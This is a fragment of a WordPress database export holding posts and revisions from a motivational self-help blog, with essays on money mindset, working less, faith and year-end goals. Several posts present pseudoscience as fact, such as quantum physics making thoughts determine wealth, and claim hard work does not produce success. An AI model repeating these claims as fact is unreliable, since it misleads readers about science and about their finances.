elegant:\r\n<ul>\r\n	<li>make an irrevocable decision to put all your life’s energy into something you really love.</li>\r\n	<li>allow yourself to step away from your current considerations and results to craft a vision for living your life in alignment with what you love… and dream big!</li>\r\n	<li>use your powerful creative imagination. Develop the habit of seeing yourself experiencing your dream in hand, right now.</li>\r\n	<li>take a baby-step toward it, then another and another…every day.</li>\r\n	<li>believe in your vision and have 100 per cent faith that it is on its way to you right now.</li>\r\n	<li>pay no attention to your past results; keep your daily focus on your vision for a bigger future. What you focus your attention on grows in your life.</li>\r\n	<li>start from where you stand and with what you have right now and then be grateful.</li>\r\n</ul>\r\nThat is essentially the basic principal involved in creating what you desire in your life.  Nothing complicated about it. And it works for everyone, including me!  This year, I finally gained a deeper, practical understanding and awareness of how the results in my life get created. As a result, I am aligned with my purpose in life, I have a vision for what it looks like, and I have some exciting goals that are bites out of my vision. I am creating on purpose once again. This is fascinating and empowering for me.  This deeper awareness has changed the trajectory of my life.\r\n\r\nOf course, there is no free lunch in the universe. This understanding came at a real price, both emotionally and financially. I had to be willing to be uncomfortable, to take greater risk and face head-on the challenges that come with growth and expansion.  This willingness, and my ability to take action, is in direct proportion to my faith and belief that I deserve to have what I desire in life, and the universe wants me to have it too. Nature is always for growth and expansion. I had to learn to trust in this on-going, creative process completely. When you let go of the rope, you no longer can be in a tug-of war with life. Things seem to come together on their own, without strain and tension. Things start happening in an easy and relaxed way. (I have talked about this subject in earlier posts). Nature conspires to bring you what ever is necessary for the realization of your heart’s desire.\r\n\r\nI have some big goals for this coming year:\r\n<ul>\r\n	<li>To establish my new marketing and design consulting firm (<a href="http://www.pullinc.com">www.pullinc.com</a>) at profitable levels attracting clients who value our contribution to their business success.</li>\r\n	<li>To continue to experiment with my own ideas and thought leadership in the areas of personal and professional success as a writer and teacher through this blog and grow its readership.</li>\r\n	<li>To continue to use my talents and experience to inspire people to create a bigger, better future for their personal and professional  lives.</li>\r\n	<li>To continue to write and record my music, paint and practice my artistic pursuits and interests on a high level od expression</li>\r\n	<li>To continue to do all these things in an easy and relaxed way from my beautiful work / live environment in the middle of my orange grove here in Ojai, California.</li>\r\n</ul>\r\nSo all in all, this has been the year of transformation, growth and expansion. Life has been challenging for sure. But I sense a greater inner strength and calling.  I have more energy and vitality for life. The seeds of my success are firmly planted in the “goo”… and I am fully engaged in the process of creating the life of my dreams. And even though I have no physical evidence as proof right now, I know my vision is already taking form and I will succeed.  I am grateful for everything in my life right now and I look forward to the challenges that lie ahead in the coming new year.  I want to do remarkable things in life... I want to experience how remarkable I really am. I want to leave here knowing I made a difference.\r\n\r\nI wish you all much happiness and success in every area of your life this coming year. Thank you all for reading my monthly posts on The White Hot Center. I really appreciate the support I have received from all of you.\r\n\r\nHappy New Year!', 'Reflections at year-end...', 0, 'I have got my eyes on the horizon and I am looking out on my bigger, better future. This year, 2007, has been a most challenging year. I can’t truthfully say that I have been the least bit comfortable, satisfied...\r\n', 'publish', 'open', 'open', '', 'reflections-at-year-end', '', '', '2009-04-03 19:00:08', '2009-04-04 02:00:08', '', 0, 'http://www.whitehotcenter.com/2007/12/reflections-at.html', 0, 'post', '', 1),
(27, 2, '2007-11-10 09:34:57', '2007-11-10 16:34:57', '<h2><span style="color: #ff6600;">Most of us are raised to believe that we must fit in and adapt ourselves to the outside world to be useful and successful. But the truth is your greatest strength – and your biggest contribution – lies in who you already are!</span></h2>\r\nThat’s the premise of a fascinating and useful book I have recently been studying, titled “Unique Ability – Creating the Life You Want”.  It is published by <a href="http://www.strategiccoach.com">The Strategic Coach</a>.<a href="http://www.strategiccoach.com">\r\n</a>\r\nThe Strategic Coach is a company that teaches successful entrepreneurs to create balance in their business and personal life, while at the same time, creating unprecedented results and rewards through their business activities. A core concept of the teachings of the Strategic Coach, is the concept that every person has a talent that they love to use that translates into activities that they do exceptionally well… a unique ability. Sounds simple enough. But don’t let the obvious simplicity of this idea dismiss its powerful and transformative effect on the results you will create when you operate from the core of your unique ability.\r\n<h2><span style="color: #ff6600;">Unique Ability is a way of describing a powerful force that is at the very core of who you are as an individual. Every human being comes factory-equipped with this ability. It expresses itself in the world from the earliest ages of your development.</span></h2>\r\nYou are such a genius at this ability that you don’t even realize its importance because your mastery is so automatic, like breathing. As a result, most people do not experience the full rewards that come from developing and harnessing the power of their unique talents and pursue their passions wholeheartedly. However, the more you are able to clearly identify and consciously develop your life around your Unique Ability – the more freedom, happiness and success you will experience. And the world will be the beneficiary of this because of the value you will be adding to people. Talent fueled by passion, especially when directed from greater self-knowledge and focused on creating value, is a powerful creative force and an awesome personal resource.\r\n\r\nOf course, your own discovery and mastery of Unique Ability is a life-long process. And it does not show up in a vacuum. It expresses itself throughout every area of your life. As you study the information in the book, you will become more aware of your good habits, the good things you “always” do. For example, one of my good habits is:\r\n\r\n“I always” follow-through on my commitments.\r\n\r\nTry it. Make a list of the good and useful things you always do. Then you begin to carefully evaluate your daily activities, the big and small things you do in your daily life. These are all methods of discovery to get you to a point where you can express with confidence (and in a simple sentence) what your Unique Ability really is.\r\n\r\nFrom this awareness, you can evaluate which of your activities fall into four important categories: incompetent, competent, excellent, and Unique Ability. The big idea here is to spend your time engaged only in those activities you have identified as Unique Ability activities. Activities in which you have the capacity of superior skill, energy, passion and never-ending improvement.  Those activities that bring you joy and fulfillment. And what of the other areas? Delegate them to others on your team whose Unique Ability is defined by the activities outside of your own. Now you have the recipe for building powerful teams of people pursuing common goals from the power of their respective Unique Abilities. Big time results will follow! Imagine if all the structures in our society were built in this manner.\r\n\r\nIn my own personal and professional life, I am in the process of reinvention and creation of a bigger future. This Unique Ability concept has been tremendously valuable for me to determine the areas where I can make quantum leaps in my progress.\r\n\r\nSo go to the <a href="http://www.strategiccoach.com" target="_blank">Strategic Coach</a> site and order the book. I read it through several times and then several times more!.  Now I use the information as a handbook to keep me focused on daily activities that express my Unique Ability. There are also other tools available from the Strategic Coach that I recommend highly. You can check those out in the Resource section of the site. And make sure you subscribe to the Strategic Coach newsletter too.', 'Unique Ability', 0, 'Most of us are raised to believe that we must fit in and adapt ourselves to the outside world to be useful and successful. But the truth is your greatest strength – and your biggest contribution – lies in who...\r\n', 'publish', 'open', 'open', '', 'unique-ability', '', '', '2009-07-09 17:03:35', '2009-07-10 00:03:35', '', 0, 'http://www.whitehotcenter.com/2007/11/post.html', 0, 'post', '', 0),
(450, 2, '2009-07-08 15:18:46', '2009-07-08 22:18:46', '<img style="margin: 0px 5px 5px 0px; float: left; width: 345px; height: 179px;" title="Money" src="http://whc.fbdev.org/whitehotcenter2/images/2008/08/29/money.jpg" border="0" alt="Money" />Over the past year and half, I have had an on-going issue about Money. I have worried obsessively about earning it, saving it, investing it, and sharing it… my thoughts about Money have been stressful indeed. No wonder its flow into my scene has been restricted.  After many years of doing nothing but earning Money in my business, I had seemingly lost my compass heading and began to drift aimlessly in my dilemma about Money.  In the life long process of earning Money, somewhere along the line, I got confused and blended my self worth with my net worth. Not good... The less money I created, the less I valued who I am in the world. I believed my influence to create what I desired in life was based in large part on my financial affluence.\r\n\r\nIn my year of blogging here at the WHC, I have not written a post about money. And in light of these so-called “hard times” we hear about now, the subject of money seems to be on everyone’s minds. OK, so let’s talk about money, money, and money!  What is it– really?  Why is it important?  How do we get and keep more of it?\r\n\r\nLet’s start with a prevalent misconception concerning money – many believe that money isn’t important. How many times have you been in conversation with a person who says ”money isn’t everything” or, “I’m not doing this or that for the money”, or “I don’t care about money”?  Well that’s bullshit. Money is important!\r\n\r\nAnother misconception is the belief that the acquisition of money is a result of good luck or favorable circumstances. More bullshit.  Money is an effect and, therefore, must be preceded by a cause– most notably passionate effort and disciplined action! There is no place in the universe where you can get something for nothing.\r\n\r\nAt a functional level, Money is a grand organizing principle in the physical world facilitating the basis of both mundane and complex transactions of value between human beings– no news there. Far more important, in my view, is the notion that Money is a powerful symbol and effect of creative thought… money is the exhaust that follows worthy ideas that add great value to people.  It is important to love people, use money… and not get that in reverse.\r\n\r\nIndeed, Money is very important and not very well understood by most people. Look around; it’s easy see the global turmoil people create over money.  For an interesting point of view on Money, you might read Wallace Wattles'' <a href="http://www.certainway.com">"The Science of Getting Rich"</a>. Don''t let the title turn you off.  I know the world is full of self-help-get rich quick crap... Written nearly a century ago, Wally offers some fascinating insight into unusual principals of money and wealth creation.  Everybody wants to be rich, but so few of us really know what “real wealth” is. For most of my adult life, I had been clueless myself.  My beliefs about money, had determined the quality of my relationship with money. In my case, I knew how to create it, but struggled to keep and grow it. There’s an old saying in the investment world “money goes where it’s treated best”.  Our thoughts and beliefs about money determine the direction and quantity of its flow. Money needs to believe we are a solid investment if it is to grow in our lives. And if we don’t believe we are a solid investment, why should Money?\r\n\r\nNot to get too deep into physics here, but everything in the universe is, at its basic form, energy. Energy is always coming in and out of form. Existence is literally floating in an ocean of energy. I like to call this “the goo”.  On the quantum level, this goo is a “thinking substance” essentially waves and particles, or formless potential.  Quantum physics further suggests what one desires to observe (a wave or particle) becomes what is observed. By now you are asking yourself “what’s this have to do with money”? Well, everything! What comes into physical form is determined by the thought energy one injects into the goo. When it comes to money, many people unconsciously put these thoughts into the goo:\r\n<ul>\r\n	<li>There’s never enough money.</li>\r\n	<li>Rich people have all the money.</li>\r\n	<li>You got to have money to make money.</li>\r\n	<li>I’m not good with money.</li>\r\n	<li>People with money are just plain lucky.</li>\r\n</ul>\r\nOur beliefs and paradigms about money are simply a reflection of the beliefs we have about ourselves. If we have programmed into our subconscious mind to believe we are not valuable, our ideas not worthy, our circumstances too impossible, money believes it too! Few of us pause to think deeply about this idea. What you think into the formless goo naturally comes into form as the circumstances of your life. How much or how little Money shows up in your life is a reflection of how much or how little you think about your value to others. You must begin to realize that the present state of your bank account, business, social life, relationships, health and well being is a physical manifestation of your previous state of mind. Your experience of poverty or abundance is a result of your thought.\r\n\r\nEveryone worries about money from time to time. I‘ve learned from my own personal experience worrying about the lack of money is the absolute guaranteed way to continue to experience having less of the stuff.  The higher truth is we are always surrounded by abundance. Nature knows no failure or lack of anything. If one is determined to create more money in life, one must begin to have greater awareness of the unseen forces that respond to our every thought. I would like to suggest that if you desire more money:\r\n<ul>\r\n	<li>remember your life’s purpose– the reason you are here in the first place. Commit yourself to following that path by adding your gifts to the world.</li>\r\n	<li>create a magnificent vision – a clear mental image of what you want your life to look like. Write it down as your “ideal scene” and read it daily, hourly if necessary.</li>\r\n	<li>be in love with your worthy ideal, hold the image of it in your creative imagination.</li>\r\n	<li>make a plan, set some goals and take daily action toward the realization of the clear mental image of your vision.</li>\r\n	<li>never allow the evidence of your current circumstances in the physical world to overpower your belief  that what you desire is on its way to you.</li>\r\n</ul>\r\nIf you really take the time to think this through, (as I did) you will begin to realize that everything in the physical world was at one time a formless thought–an idea. All accomplishment in life begins with a worthy ideal– a formless idea.  We would not have air travel if flight were not first an idea in the minds of the Wright Brothers. Apple would not exist if it were not a formless clear mental image in Steve Jobs mind. And so it is with you and your worthy ideal.  Visualize the Money you desire and feel yourself in possession of it now. This is not merely a mental exercise, but a powerful tool for you to use in the creative process of bringing into form a worthy idea that adds great value to people. Indeed, one must always provide greater use value than is received in cash value if you want to experience being a powerful money magnet. Exact laws of creation govern the universe–and so it is with the creation of money.\r\n\r\nAnd one more very important key to creating money– regardless of how much is currently noted on your bank statement, be grateful! Whatever that amount, it could be less or none at all… be grateful for everything in your life. It is impossible to experience poverty, lack and limitation when your thoughts are laser-focused on gratitude.\r\n\r\nMoney in and of itself never made anyone happy and fulfilled… just more comfortable. Money is to be used, circulated, released, and never hoarded. Money is a servant and you are its master.', 'Money, money, money!', 0, 'Over the past year and half, I have had an on-going issue about Money. I have worried obsessively about earning it, saving it, investing it, and sharing it… my thoughts about Money have been stressful indeed. No wonder its flow...\r\n', 'inherit', 'open', 'open', '', '24-revision-3', '', '', '2009-07-08 15:18:46', '2009-07-08 22:18:46', '', 24, 'http://www.whitehotcenter.com/24-revision-3/', 0, 'revision', '', 0),
(89, 1, '2009-04-03 19:01:24', '2009-04-04 02:01:24', 'I have got my eyes on the horizon and I am looking out on my bigger, better future. This year, 2007, has been a most challenging year. I can’t truthfully say that I have been the least bit comfortable, satisfied or especially happy this year. But I have been, and continue to be, grateful for everything that has happened in this past year\n\nMy gratitude gives me pause for reflection and a little quiet time to ponder my progress towards the goals I have set for myself, and to marvel at the process of creating them. Hopefully this will add a little value to your planning on what you would like to create for yourself in the year ahead.\n\nI have heard it said the definition of success is the “on-going realization of a worthy ideal”.  As I think about this definition, the key phrase for me is “on-going”.  Which is the same as saying never give up on your good idea. This has been my year for planting good ideas in the quantum field… or, as I like to call it, “the goo of creation”.  I am delighted to report that I have new ideas that excite me to a level where I know I will not give up on them, no matter what!  At the beginning of this year, I made a decision to get off my ass and start crafting an exciting vision for where I want to take my life, and develop a plan of action that I believe in completely.\n\nThis year was my new start… my "do-over"... a defining moment in the course of my life. Now twelve months later, I can perceive that I am moving in a more harmonious vibration toward my goals, attracting to me all manner of people and circumstances that are in alignment with my getting what I want. I know for some, this sounds like re-hashed self-help mumbo-jumbo. But honestly, this was my year of awakening from years of embracing the bad habit of being too comfortable with the status quo. I realized I was not growing, my business had actually dried-up, my relationships were strained, my enthusiasm for anything evaporated in the drought of negativity I had so comfortably got in the habit of embracing.  Things in my life were beginning to die… including me. My state of depression was overwhelming at times. I was not happy about started over at the very bottom in mid-life. The challenge of looking up and out of the hole I found myself in towards a bigger, better future seemed quite impossible.\n\nThis year I planted new seeds in the field of possibility. And I have been rain dancing in that field all year in belief that the rains will come in abundance, and new results will grow from my new ideas.  Like all things in nature, the principals that guide creating what you want are simple and elegant:\n<ul>\n	<li>make an irrevocable decision to put all your life’s energy into something you really love.</li>\n	<li>allow yourself to step away from your current considerations and results to craft a vision for living your life in alignment with what you love… and dream big!</li>\n	<li>use your powerful creative imagination. Develop the habit of seeing yourself experiencing your dream in hand, right now.</li>\n	<li>take a baby-step toward it, then another and another…every day.</li>\n	<li>believe in your vision and have 100 per cent faith that it is on its way to you right now.</li>\n	<li>pay no attention to your past results; keep your daily focus on your vision for a bigger future. What you focus your attention on grows in your life.</li>\n	<li>start from where you stand and with what you have right now and then be grateful.</li>\n</ul>\nThat is essentially the basic principal involved in creating what you desire in your life.  Nothing complicated about it. And it works for everyone, including me!  This year, I finally gained a deeper, practical understanding and awareness of how the results in my life get created. As a result, I am aligned with my purpose in life, I have a vision for what it looks like, and I have some exciting goals that are bites out of my vision. I am creating on purpose once again. This is fascinating and empowering for me.  This deeper awareness has changed the trajectory of my life.\n\nOf course, there is no free lunch in the universe. This understanding came at a real price, both emotionally and financially. I had to be willing to be uncomfortable, to take greater risk and face head-on the challenges that come with growth and expansion.  This willingness, and my ability to take action, is in direct proportion to my faith and belief that I deserve to have what I desire in life, and the universe wants me to have it too. Nature is always for growth and expansion. I had to learn to trust in this on-going, creative process completely. When you let go of the rope, you no longer can be in a tug-of war with life. Things seem to come together on their own, without strain and tension. Things start happening in an easy and relaxed way. (I have talked about this subject in earlier posts). Nature conspires to bring you what ever is necessary for the realization of your heart’s desire.\n\nI have some big goals for this coming year:\n<ul>\n	<li>To establish my new marketing and design consulting firm (<a href="http://www.pullinc.com">www.pullinc.com</a>) at profitable levels attracting clients who value our contribution to their business success.</li>\n	<li>To continue to experiment with my own ideas and thought leadership in the areas of personal and professional success as a writer and teacher through this blog and grow its readership.</li>\n	<li>To continue to use my talents and experience to inspire people to create a bigger, better future for their personal and professional  lives.</li>\n	<li>To continue to write and record my music, paint and practice my artistic pursuits and interests on a high level od expression</li>\n	<li>To continue to do all these things in an easy and relaxed way from my beautiful work / live environment in the middle of my orange grove here in Ojai, California.</li>\n</ul>\nSo all in all, this has been the year of transformation, growth and expansion. Life has been challenging for sure. But I sense a greater inner strength and calling.  I have more energy and vitality for life. The seeds of my success are firmly planted in the “goo”… and I am fully engaged in the process of creating the life of my dreams. And even though I have no physical evidence as proof right now, I know my vision is already taking form and I will succeed.  I am grateful for everything in my life right now and I look forward to the challenges that lie ahead in the coming new year.  I want to do remarkable things in life... I want to experience how remarkable I really am. I want to leave here knowing I made a difference.\n\nI wish you all much happiness and success in every area of your life this coming year. Thank you all for reading my monthly posts on The White Hot Center. I really appreciate the support I have received from all of you.\n\nHappy New Year!', 'Reflections at year-end...', 0, 'I have got my eyes on the horizon and I am looking out on my bigger, better future. This year, 2007, has been a most challenging year. I can’t truthfully say that I have been the least bit comfortable, satisfied...\n', 'inherit', 'open', 'open', '', '26-autosave', '', '', '2009-04-03 19:01:24', '2009-04-04 02:01:24', '', 26, 'http://www.whitehotcenter.com/26-autosave', 0, 'revision', '', 0),
(28, 2, '2007-10-12 16:24:42', '2007-10-12 23:24:42', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2007/10/workless.jpg"><img class="alignleft size-medium wp-image-445" title="workless" src="http://whc.fbdev.org/wp-content/uploads/2007/10/workless-300x300.jpg" alt="workless" width="225" height="225" /></a><span style="color: #ff6600;"> </span></h2>\r\n<h2><span style="color: #ff6600;">For all the workaholics who believe the only way to create success is to work really hard for it, this may be a challenging idea for you. It simply goes against the grain of conventional wisdom – people who don’t work hard will achieve very little in life. If you want to create more, work less.\r\n</span></h2>\r\n<div id="body">\r\n<div>\r\n\r\nAll  successful people have discovered the key to success and wealth creation  has very little to do with hard work. Nature operates with ease. All the complex principals associated with  life itself operate with ease. Your heart beats, your lungs breathe,  the lilies don''t toil, the seasons change– all of this is going on  effortlessly. And so it must be with the realization of your desires and  the accomplishment of your goals. There is no need to toil through  drudgery to get what you want. Actually, the very idea of toil and  drudgery is counter-productive to the whole process of value creation  and life success. Think about these ideas for moment:\r\n\r\n-  hard work has absolutely nothing to do with creating success\r\n\r\n- hard work is not the basis for success\r\n\r\n- successful results are inversely proportional to the hard work expended\r\n\r\n- avoiding hard work has driven all human progress\r\n\r\nAfter years of banging my head against the wall, I have found the  revelation that doing less, in an easy and relaxed way, is the only  satisfying and fulfilling way to create desired results.\r\n\r\n<strong>Hard work=resistance and is the opposite of flow.</strong>\r\n\r\nFirst of all, no one likes to "have to" do anything. When you say I  "have to" pay my bills, so I "have to" work hard to get the money...  already you can sense the despair and powerlessness in the very idea of  "having to" do something you naturally resist. When you "have to" do  anything, you are in a state of resistance. You are fighting the natural  flow by pointing yourself upstream, resisting.\r\n\r\nAfter a couple of decades of this resistance, (think working hard)  you can see how some people eventually burn-out, lose their perspective,  lose joy, create sickness and ultimately lose life itself. No, having  to work hard to get what we want is not the answer. Grinding away at  something is the root cause of all disappointments in life. Turn this  idea around.\r\n\r\n<strong>Discover and pursue your path of least resistance.</strong>\r\n\r\nWhat do you love? I mean really love! What do you like to "play at"?  What are you effortlessly good at? What activity excites you to an  extent that when you are engaged in it, you actually lose your awareness  of time? Think about these questions deeply.\r\n\r\nWithin this idea of "play" is the seed of joyous, easy, relaxed,  natural, lazy creation. There is no working when you are engaged in an  activity you feel you were born to do. If you have an idea that you love  to play with, do you force yourself to play with it? Of course not. You  are naturally drawn to it. You are lovingly engaged in it. Things are  easy. There is no work involved and the results of your creation seem  almost miraculous.\r\n\r\nYour whole life must reflect what you are naturally drawn to do. It  is essential to achieving your heart''s desire. Do not trade one more  second of your precious life energy working hard at achieving your  goals. Discover your greatest gifts that have been with you since the  day you were born and use them to create value (and wealth) in an easy  and relaxed way!  Everything you need to create your success is already  within you–even the permission to follow your path of least resistance.\r\n\r\n<strong>Any useful idea that has elevated the life experience of  humans has come about because humans want to avoid having to do hard  work.</strong>\r\n\r\nAll our innovations throughout history have been created to make life  easier and better. Hard work is counter-productive to the direction of  growth and life expanding. Hard work shuts off the flow of creative,  inspired energy. Hard work is not in alignment with the laws of  creation. Nature creates in an easy and relaxed way. You are made of the  same stuff and this natural law applies to you wittingly or  unwittingly. You will never became healthy, wealthy and wise:\r\n\r\n- keeping your nose to the grindstone\r\n\r\n- pushing the ball uphill\r\n\r\n- working your fingers to the bone\r\n\r\n- going to a salt mine\r\n\r\n- spending the day with a slave driver\r\n\r\nThere is an easier, lazy, do nothing way to create the life you have  always desired. You must engage yourself in what you love, play and have  fun. Play with everything. If it''s not fun, and feels like hard work,  you are decreasing your potential for creating massive success in your  life. Align your focus and attention to only that which you love. Then  find partners who love doing the activities you resist doing. When you  put it all together, you will take a quantum leap in your power to  create what you desire.\r\n\r\n<strong>Enjoy (playing) through action (doing what you love) what you create through your thoughts (your life vision).</strong>\r\n\r\n</div>\r\n</div>', 'Work Less, Accomplish more!', 0, 'For all the workaholics and others who believe the only way to get something is to work hard for it, this may be a challenging idea for sure. It simply goes against the grain of conventional, Calvinist wisdom… people who...\r\n', 'publish', 'open', 'open', '', 'work-less', '', '', '2010-12-27 17:16:10', '2010-12-28 00:16:10', '', 0, 'http://www.whitehotcenter.com/2007/10/post-2.html', 0, 'post', '', 0),
(809, 2, '2010-05-09 11:45:22', '2010-05-09 18:45:22', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2007/10/workless.jpg"><img class="alignleft size-medium wp-image-445" title="workless" src="http://whc.fbdev.org/wp-content/uploads/2007/10/workless-300x300.jpg" alt="workless" width="225" height="225" /></a><span style="color: #ff6600;"> </span></h2>\r\n<h2><span style="color: #ff6600;">For all the workaholics and others who believe the only way to get something is to work hard for it, this may be a challenging idea for sure. It simply goes against the grain of conventional wisdom that says people who don’t work hard achieve very little in life. </span></h2>\r\n<div id="body">\r\n\r\nAt first glance, you''re  probably thinking how can one achieve more and work less? It seems  counter-intuitive. Actually, this idea is more in line with the way the  universe operates. You don''t  have to work hard to create the result you desire.\r\n\r\nNature  operates with ease. All the complex principals associated with life  itself operate with ease. Your heart beats, your lungs breath, the  lilies don''t toil, the  seasons change, all of this is going on effortlessly. And so it is with  the realization of your desires and the accomplishment of your goals.  There is no need to toil through drudgery to get what you want.  Actually, the very idea of toil and drudgery is counter-productive to  the whole process of creation. Think about these ideas for moment:\r\n\r\n*  hard work has absolutely nothing to do with creating success\r\n\r\n*  hard work is not the basis for success\r\n\r\n* success is inversely  proportional to hard work\r\n\r\n* avoiding hard work has driven all  human progress\r\n\r\nAfter years of banging my head against the wall, I  have found the revelation that doing less, in an easy and relaxed way,  is the best means of creating what you want.\r\n\r\nFirst of all, no one  likes to "have to" do anything. When you say I "have to" pay my bills,  so I "have to" go to work to get the money... already you can sense the  despair and powerlessness in the very idea of "having to" do anything.  Desperation and powerlessness is fear, and you know that fear is not a  point of view that creates anything useful in life. When you "have to"  do anything, you are in a state of resistance. You are fighting the  natural flow by pointing yourself upstream, resisting.\r\n\r\nAfter a  couple of decades of this resistance, (think working hard) you can see  how we eventually burn-out, lose our perspective, lose our joy, create  sickness and ultimately lose our life. No, having to work hard to get  what we want is not the answer. Grinding away at something is the root  cause of all disappointments in life. Turn this idea around.\r\n\r\n<strong>Start  with what you love.</strong>\r\n\r\nWhat do you love? I mean really love! What do  you like to "play at"? What are you effortlessly good at? What excites  you to such an extent that when you are engaged in it, you actually lose  your awareness of time? Think about this idea deeply. Within this idea  of "play" is the seed of joyous, easy, relaxed, natural, lazy creation.  There is no working when you are engaged in an activity you love. If you  have an idea that you love to play with, do you force yourself to play  with it? Of course not. You are naturally drawn to it. You are lovingly  engaged in it. Things are easy. There is no work involved and the  results of your creation seem almost miraculous. Live your whole life  from this point of view. It is essential to achieving your heart''s desire. Do not  trade one more second of your precious life working hard.\r\n<h2>Any  useful idea that has elevated the life experience of humans has come  about because we want to avoid having to do hard work.</h2>\r\nHard work is  counter-productive to the direction of life expanding. Hard work shuts  off the flow of creative, inspired energy. Hard work is not in alignment  with the laws of creation. Nature creates in an easy and relaxed way.  You are made of the same stuff and this natural law applies to you  wittingly or unwittingly. You will not became healthy, wealthy and wise:\r\n\r\n*  keeping his nose to the grindstone\r\n\r\n* pushing the ball uphill\r\n\r\n*  working her fingers to the bone\r\n\r\n* going to a salt mine\r\n\r\n*  spending the day with a slave driver\r\n\r\nNo, my friend there is an  easier, lazy, do nothing way to create the life you have always desired.  You must engage yourself in what you love, play and have fun. Play with  everything. If it''s  not fun, you are wasting your chances for creating massive success in  your life. Align your focus and attention to only that which you love.\r\n\r\n<strong>Enjoy  (playing) through action (doing what you love) what you create through  your thoughts (vision and goals).</strong>\r\n\r\n</div>', 'Work Less, Accomplish more!', 0, 'For all the workaholics and others who believe the only way to get something is to work hard for it, this may be a challenging idea for sure. It simply goes against the grain of conventional, Calvinist wisdom… people who...\r\n', 'inherit', 'open', 'open', '', '28-revision-15', '', '', '2010-05-09 11:45:22', '2010-05-09 18:45:22', '', 28, 'http://www.whitehotcenter.com/2010/05/09/28-revision-15/', 0, 'revision', '', 0),
(86, 1, '2009-04-03 18:48:36', '2009-04-04 01:48:36', '<a href="http://whc.fbdev.org/photos/uncategorized/2007/10/12/workless_9.jpg"><img class="image-full" title="Workless_9" src="http://whc.fbdev.org/photos/uncategorized/2007/10/12/workless_9.jpg" border="0" alt="Workless_9" /></a>\r\n\r\nFor all the workaholics and others who believe the only way to get something is to work hard for it, this may be a challenging idea for sure. It simply goes against the grain of conventional, Calvinist wisdom… people who don’t work hard achieve very little in life. At first glance, you are probably thinking that the title makes no sense. How can one create more and work less? It seems counter-intuitive for sure, so let’s get into this idea of creating more results by working less.\r\n\r\nActually, the opposite is more in line with the way the universe operates. The universe operates with ease. All the complex principals associated with life operate with ease. Your heart beats, your lungs breath, the lilies don’t toil, the season’s change, all of this is going on effortlessly. And so it is with the realization of your desires. There is no need to toil through drudgery to get what you want. Actually, the very idea of toil and drudgery is counter-productive to the whole process of creation.\r\n\r\nThink about these ideas for moment:\r\n<ul>\r\n	<li>hard work has absolutely nothing to do with creating success</li>\r\n	<li>hard work is not the basis for success</li>\r\n	<li>success is inversely proportional to hard work</li>\r\n	<li>avoiding hard work has driven all human progress</li>\r\n</ul>\r\nSpeaking for myself, I found these ideas to be radical departures from anything I believed in. I grew up believing that hard work was the virtuous path to all accomplishments. And I built my entire life around that belief. After years of banging my head against the wall, I have found the revelation that doing nothing is the fastest means of creating accomplishment.\r\n\r\nFirst of all, I have found that nobody likes to “have to” do anything. When one says I “have to” pay my bills, so I “have to” go to work to get the money… already you can sense the despair and powerlessness in the very idea of “having to” do anything. Desperation and powerlessness is fear, and you all know that fear is not a point of view that creates anything useful in life. When you “have to” do anything, you are in a state of resistance. You are fighting the flow of the universe by pointing yourself upstream, resisting. After a couple of decades of this resistance, (think working hard) one can see how we eventually burn-out, lose our perspective, lose our joy, create sickness and ultimately lose our life. No, having to work to get what we want is not the answer. Having to be someplace working, when you want to be someplace else playing is hell on earth. It is the root cause of all disappointments in life. Turn this idea around. Start with what you love.\r\n\r\nWhat do you love? I mean really love!  What do you like to “play at”? What are you effortlessly good at? What excites you to such an extent that when you are engaged in it, you actually lose your awareness of time? Think about this idea deeply. Within this idea of “play” is the seed of joyous, easy, relaxed, natural, lazy creation. There is no working when you are engaged in an activity you love. If you have an idea that you love to play with, do you force yourself to play with it? Of course not. You are naturally drawn to it. You are lovingly engaged in it. Things are easy. There is no work involved and the results of your creation seem almost miraculous.\r\n\r\nLive your whole life from this point of view. It is essential to achieving your heart’s desire. Do not trade one more second of your precious life working hard.\r\n\r\nAny useful idea that has elevated the life experience of humans has come about because we want to avoid having to do hard work. Hard work is counter-productive to the direction of life expanding. Hard work shuts off the flow of creative, inspired energy. Hard work is not in alignment with the laws of creation. Nature creates in an easy and relaxed way. You are made of the same stuff and the laws apply to you wittingly or unwittingly.  I have never met a soul who became healthy, wealthy and fulfilled:\r\n<ul>\r\n	<li>keeping his nose to the grindstone</li>\r\n	<li>pushing the ball uphill</li>\r\n	<li>working her fingers to the bone</li>\r\n	<li>going to a salt mine</li>\r\n	<li>spending the day with a slave driver</li>\r\n</ul>\r\nNo, my friend there is an easier, lazy, do nothing way to create the life you have always desired. You must engage yourself in what you love, play and have fun. Play with everything. If it’s not fun, you are wasting time and your chances for creating massive success in your life. Align your focus and attention to only that which you love. Enjoy (playing) through action (doing what you love) what you create through your thoughts (vision and goals).', 'Work Less', 0, 'For all the workaholics and others who believe the only way to get something is to work hard for it, this may be a challenging idea for sure. It simply goes against the grain of conventional, Calvinist wisdom… people who...\r\n', 'inherit', 'open', 'open', '', '28-revision-2', '', '', '2009-04-03 18:48:36', '2009-04-04 01:48:36', '', 28, 'http://www.whitehotcenter.com/28-revision-2', 0, 'revision', '', 0),
(29, 2, '2007-10-07 11:04:21', '2007-10-07 18:04:21', '<h2><span style="color: #ff6600;"><img class="alignleft size-full wp-image-687" title="indiian" src="http://whc.fbdev.org/wp-content/uploads/2007/10/indiian.gif" alt="indiian" width="478" height="443" />Here’s a great story about a tribe of American Indians, who never failed to make it rain when they would do their rain dance.  Every time, 100%, when they danced, it rained!  The secret to their 100 percent success rate, when other tribes had far less success with the same dance, was simple– this particular tribe never stopped dancing.</span></h2>\r\nThink about that…they never stopped dancing until it rained! That''s faith in it''s most compelling form... Faith strengthened their persistent action and expectation in knowing dancing creates rain. Rain is what they really want… so they danced!\r\n\r\nFaith is vitally important to every result of being, doing and having.  We live by faith and not by sight. Faith is “knowing that you know” something you desire is going to happen.  It isn''t a hunch, an educated guess, it is knowing with absolute certainty that no matter what it takes, it will happen. It''s just a matter of time.\r\n\r\nEverything in nature has a gestation or incubation period.  You commonly know this principal from the human pregnancy which has a gestation period of 280 days. This is the known period of time it takes for the gestation of a Human Being. It’s more or less set. A carrot is 11 weeks; an elephant is 15 months… to each its own time.\r\n<h2><span style="color: #ff6600;"><span style="color: #808080;">Unlike elephants or humans, ideas take their own sweet time to be born into the physical realm. Many people quit dancing for the fulfillment of their ideas before it is time, their faith and expectation of receiving it expired.</span>\r\n</span></h2>\r\nThey give up too early and are not aware that the time necessary for manifestation simply hadn''t past yet.  Would you ever see a husband come to his pregnant wife and during week 10 of her pregnancy say "Where’s the baby?!?!".  